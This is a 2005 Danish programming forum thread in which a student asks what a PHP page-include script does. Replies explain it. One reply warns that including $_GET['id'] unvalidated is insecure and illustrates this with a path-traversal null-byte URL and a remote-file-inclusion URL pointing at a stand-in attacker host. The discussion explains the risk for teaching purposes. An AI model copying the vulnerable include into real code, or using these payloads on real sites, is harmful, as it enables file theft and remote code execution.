Avatar billede foxmulder58 Praktikant
08. december 2005 - 21:00 Der er 13 kommentarer og
1 løsning

forklare PHP kode for mig?

Hej eksperter,

jeg laver en lille opgave hvor der er lidt PHP med i.

Jeg har lavet (med en del hjælp) et script der kan hente side ind for mig via denne kode:




<?
if(isset($_GET['id'])){
  include($_GET['id'].'.php');
}
else{
  include "start.php";
}
?>



Er der en der kan hjælpe mig med at forklare denne kode?


mvh
Mads
Avatar billede jakobdo Ekspert
08. december 2005 - 21:10 #1
<?
//Hvis $_GET['id'] er sat...
if(isset($_GET['id']))
{
  //Så includer vi filen: $_GET['id'] . php (altså en fil med navn f.eks. test.php)
  include($_GET['id'].'.php');
}
//Ellers
else
{
  //includer vi filen: start.php
  include "start.php";
}
?>
Avatar billede swiatecki Novice
08. december 2005 - 21:12 #2
<? // start php
if(isset($_GET['id'])){ /// Hvis 'id' er sat så
include($_GET['id'].'.php'); /// Inkluder Id.php
} /// slut hvis
else /// ellers
include "start.php";
} /// slut ellers
?> /// stop php

Denne kode ville man linke til sådan her siden.php?id=dinside

Først kigger koden om id er sat

Hvis id er sat inkludere den id.php i dette tilfælde dinside.php

Hvis IKKE id er sat bliver start.php inkluderet..
Avatar billede foxmulder58 Praktikant
08. december 2005 - 21:24 #3
ok siden ser nemlig sådan ud i koden ( http://www.netau.hotserv.dk/)

kalder man dette at hente sider ind dynamisk via PHP?




<---------------------------- index.php  ----------------------------->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title> Velkommen </title>
<link rel="stylesheet" type="text/css" href="default.css" media="screen,projection" title="Default">

</head>
<body>
<div class="bodywrap">
<div id="banner">
<table width="600"  border="0" cellspacing="0" cellpadding="0">
  <tr>
    <th width="130" scope="row"><img src="images/logo.gif" alt="logo" width="130" height="95"></th>
    <td width="453"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="520" height="90">
      <param name="movie" value="banner.swf">
      <param name="quality" value="high">
      <embed src="banner.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="520" height="90">
    </object></td>
  </tr>
</table>
</div>
<div id="menu">
<div id="nav-menu">
<ul>
<li><a href="index.php?id=start">Forside</a></li>
<li><a href="index.php?id=uddannelser">uddannelser</a></li>
<li><a href="index.php?id=nyheder">nyheder</a></li>
<li><a href="index.php?id=bogliste">bogliste</a></li>
<li><a href="index.php?id=hvemervi">hvem er vi?</a></li>
<li><a href="index.php?id=tilmeld">tilmeld uddannelse</a></li>
<li><a href="index.php?id=kontakt">Kontakt os</a></li>
</ul>
<p />



</div>
<p align="center">
<a href="http://jigsaw.w3.org/css-validator/">
  <img style="border:0;width:88px;height:31px"
      src="http://jigsaw.w3.org/css-validator/images/vcss"
      alt="Valid CSS!">
</a>
</p>
</div>
<div id="content">
<?
if(isset($_GET['id'])){
  include($_GET['id'].'.php');
}
else{
  include "start.php";
}
?>

</div>









</div>
</body>
</html>
Avatar billede plx Nybegynder
08. december 2005 - 21:31 #4
Sikkerhedsmæssigt, er det dog ikke den bedste løsning, da alle typer af filer kan inkluderes. Afhængigt af php og php.ini, kan eksterne php scripts måske afvikles på serveren. Det gør det nemt for script kiddies.

Der er vist nogle artikler i artikelsektionen, som giver nogle forslag til validering af input ved include
Avatar billede foxmulder58 Praktikant
08. december 2005 - 21:35 #5
OK! mdet er til en opgave hvor siden er fiktiv. derfor behøver jeg ikke gå så meget op i det (den bliver aldrig et "rigtigt onLine" site).

Er denne metode det man kalder at hente sider ind dynamisk via PHP?


mvh
Mads
Avatar billede plx Nybegynder
08. december 2005 - 21:40 #6
At komme ind på sikkerheden i scriptet, trækker ved ikke ned på opgavens karakter
Avatar billede foxmulder58 Praktikant
08. december 2005 - 21:47 #7
nej det er rigtigt prøv at give mig et eksempel på hvorfor sikkerheden ved dette er så dårlig.

Ny spørger jeg så lige igen om denne metode er det man kalder at hente sider ind dynamisk via PHP? :]


husk også at smide et svar!  :]


mvh
Mads
Avatar billede plx Nybegynder
08. december 2005 - 22:29 #8
Det kaldes helt korrekt dynamisk inkludering

Antag du har en fil med passwords, kaldet passwords.txt, den ligger i en mappe over scriptet:

index.php?id=../passwords.txt%00

Hvis din php accepterer url wrappers i include:

index.php?id=http://myhax0rsite/hacked.php%00

%00 betyder en nul-byte, og fortæller php at strengen slutter her. Dvs den filendelse der sættes på '.php' ignoreres
Avatar billede foxmulder58 Praktikant
08. december 2005 - 23:24 #9
hvordan kan det være at man ikke behøver hverken <html> <head> <title> eller <body> element på de filer man inkluderer?

mvh
Mads
Avatar billede foxmulder58 Praktikant
08. december 2005 - 23:28 #10
du må gerne smide et svar jeg synes du har hjilpet mig godt.

Hvordan skal point fordelde mellem jer begge plx & swiatecki ?
mvh
Mads
Avatar billede swiatecki Novice
10. december 2005 - 10:15 #11
Jeg synes 10 til mig og 20 til plx
Avatar billede foxmulder58 Praktikant
10. december 2005 - 10:29 #12
ok plx smider du også et svar ?


mvh
Mads

PS! tusind tak for hjælpen!
Avatar billede foxmulder58 Praktikant
11. december 2005 - 01:08 #13
plx >> smid snart et svar jeg vil gerne snart lukke det her spm.


mvh
Mads
Avatar billede foxmulder58 Praktikant
11. december 2005 - 14:04 #14
plx >> smider du ikke snart et svar så swiatecki ikke behøver vente på sine point?


mvh
Mads
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester